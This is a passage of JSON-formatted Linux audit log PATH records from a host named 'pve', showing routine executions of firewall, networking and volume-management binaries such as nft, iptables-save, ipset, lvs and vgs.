cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255230,"@rawstring":"node=pve type=PATH msg=audit(1781964255.230:60239): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255224,"@rawstring":"node=pve type=PATH msg=audit(1781964255.224:60238): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255224,"@rawstring":"node=pve type=PATH msg=audit(1781964255.224:60238): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255224,"@rawstring":"node=pve type=PATH msg=audit(1781964255.224:60238): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255215,"@rawstring":"node=pve type=PATH msg=audit(1781964255.215:60237): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255215,"@rawstring":"node=pve type=PATH msg=audit(1781964255.215:60237): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255209,"@rawstring":"node=pve type=PATH msg=audit(1781964255.209:60236): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255209,"@rawstring":"node=pve type=PATH msg=audit(1781964255.209:60236): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255203,"@rawstring":"node=pve type=PATH msg=audit(1781964255.203:60235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255203,"@rawstring":"node=pve type=PATH msg=audit(1781964255.203:60235): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255197,"@rawstring":"node=pve type=PATH msg=audit(1781964255.197:60234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255197,"@rawstring":"node=pve type=PATH msg=audit(1781964255.197:60234): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255190,"@rawstring":"node=pve type=PATH msg=audit(1781964255.190:60233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255190,"@rawstring":"node=pve type=PATH msg=audit(1781964255.190:60233): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964254646,"@rawstring":"node=pve type=PATH msg=audit(1781964254.646:60232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964254646,"@rawstring":"node=pve type=PATH msg=audit(1781964254.646:60232): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964254601,"@rawstring":"node=pve type=PATH msg=audit(1781964254.601:60231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964254601,"@rawstring":"node=pve type=PATH msg=audit(1781964254.601:60231): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PATH msg=audit(1781964253.487:60230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PATH msg=audit(1781964253.487:60230): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PATH msg=audit(1781964253.487:60229): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=PATH msg=audit(1781964253.487:60228): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PATH msg=audit(1781964253.478:60227): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PATH msg=audit(1781964253.478:60227): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PATH msg=audit(1781964253.478:60226): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=PATH msg=audit(1781964253.478:60225): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PATH msg=audit(1781964248.472:60224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PATH msg=audit(1781964248.472:60224): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PATH msg=audit(1781964248.472:60223): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=PATH msg=audit(1781964248.472:60222): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PATH msg=audit(1781964248.462:60221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PATH msg=audit(1781964248.462:60221): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PATH msg=audit(1781964248.462:60220): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=PATH msg=audit(1781964248.462:60219): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245179,"@rawstring":"node=pve type=PATH msg=audit(1781964245.179:60218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245179,"@rawstring":"node=pve type=PATH msg=audit(1781964245.179:60218): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245176,"@rawstring":"node=pve type=PATH msg=audit(1781964245.176:60217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245176,"@rawstring":"node=pve type=PATH msg=audit(1781964245.176:60217): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245174,"@rawstring":"node=pve type=PATH msg=audit(1781964245.174:60216): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245174,"@rawstring":"node=pve type=PATH msg=audit(1781964245.174:60216): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245174,"@rawstring":"node=pve type=PATH msg=audit(1781964245.174:60215): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245117,"@rawstring":"node=pve type=PATH msg=audit(1781964245.117:60204): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245117,"@rawstring":"node=pve type=PATH msg=audit(1781964245.117:60204): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245113,"@rawstring":"node=pve type=PATH msg=audit(1781964245.113:60203): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245113,"@rawstring":"node=pve type=PATH msg=audit(1781964245.113:60203): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245106,"@rawstring":"node=pve type=PATH msg=audit(1781964245.106:60202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245106,"@rawstring":"node=pve type=PATH msg=audit(1781964245.106:60202): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245100,"@rawstring":"node=pve type=PATH msg=audit(1781964245.100:60201): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245100,"@rawstring":"node=pve type=PATH msg=audit(1781964245.100:60201): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245096,"@rawstring":"node=pve type=PATH msg=audit(1781964245.096:60200): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245096,"@rawstring":"node=pve type=PATH msg=audit(1781964245.096:60200): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245093,"@rawstring":"node=pve type=PATH msg=audit(1781964245.093:60199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245093,"@rawstring":"node=pve type=PATH msg=audit(1781964245.093:60199): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245092,"@rawstring":"node=pve type=PATH msg=audit(1781964245.092:60198): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245092,"@rawstring":"node=pve type=PATH msg=audit(1781964245.092:60198): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245092,"@rawstring":"node=pve type=PATH msg=audit(1781964245.092:60197): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245086,"@rawstring":"node=pve type=PATH msg=audit(1781964245.086:60196): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245086,"@rawstring":"node=pve type=PATH msg=audit(1781964245.086:60196): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245086,"@rawstring":"node=pve type=PATH msg=audit(1781964245.086:60196): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245080,"@rawstring":"node=pve type=PATH msg=audit(1781964245.080:60195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245080,"@rawstring":"node=pve type=PATH msg=audit(1781964245.080:60195): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245073,"@rawstring":"node=pve type=PATH msg=audit(1781964245.073:60194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245073,"@rawstring":"node=pve type=PATH msg=audit(1781964245.073:60194): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245068,"@rawstring":"node=pve type=PATH msg=audit(1781964245.068:60193): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245068,"@rawstring":"node=pve type=PATH msg=audit(1781964245.068:60193): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245062,"@rawstring":"node=pve type=PATH msg=audit(1781964245.062:60192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245062,"@rawstring":"node=pve type=PATH msg=audit(1781964245.062:60192): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245055,"@rawstring":"node=pve type=PATH msg=audit(1781964245.055:60191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964245055,"@rawstring":"node=pve type=PATH msg=audit(1781964245.055:60191): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964244523,"@rawstring":"node=pve type=PATH msg=audit(1781964244.523:60190): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964244523,"@rawstring":"node=pve type=PATH msg=audit(1781964244.523:60190): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964244494,"@rawstring":"node=pve type=PATH msg=audit(1781964244.494:60189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964244494,"@rawstring":"node=pve type=PATH msg=audit(1781964244.494:60189): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PATH msg=audit(1781964243.453:60188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PATH msg=audit(1781964243.453:60188): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PATH msg=audit(1781964243.453:60187): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243453,"@rawstring":"node=pve type=PATH msg=audit(1781964243.453:60186): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PATH msg=audit(1781964243.443:60185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PATH msg=audit(1781964243.443:60185): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PATH msg=audit(1781964243.443:60184): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964243443,"@rawstring":"node=pve type=PATH msg=audit(1781964243.443:60183): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PATH msg=audit(1781964238.433:60182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PATH msg=audit(1781964238.433:60182): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PATH msg=audit(1781964238.433:60181): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238433,"@rawstring":"node=pve type=PATH msg=audit(1781964238.433:60180): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PATH msg=audit(1781964238.421:60179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PATH msg=audit(1781964238.421:60179): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PATH msg=audit(1781964238.421:60178): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964238421,"@rawstring":"node=pve type=PATH msg=audit(1781964238.421:60177): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"}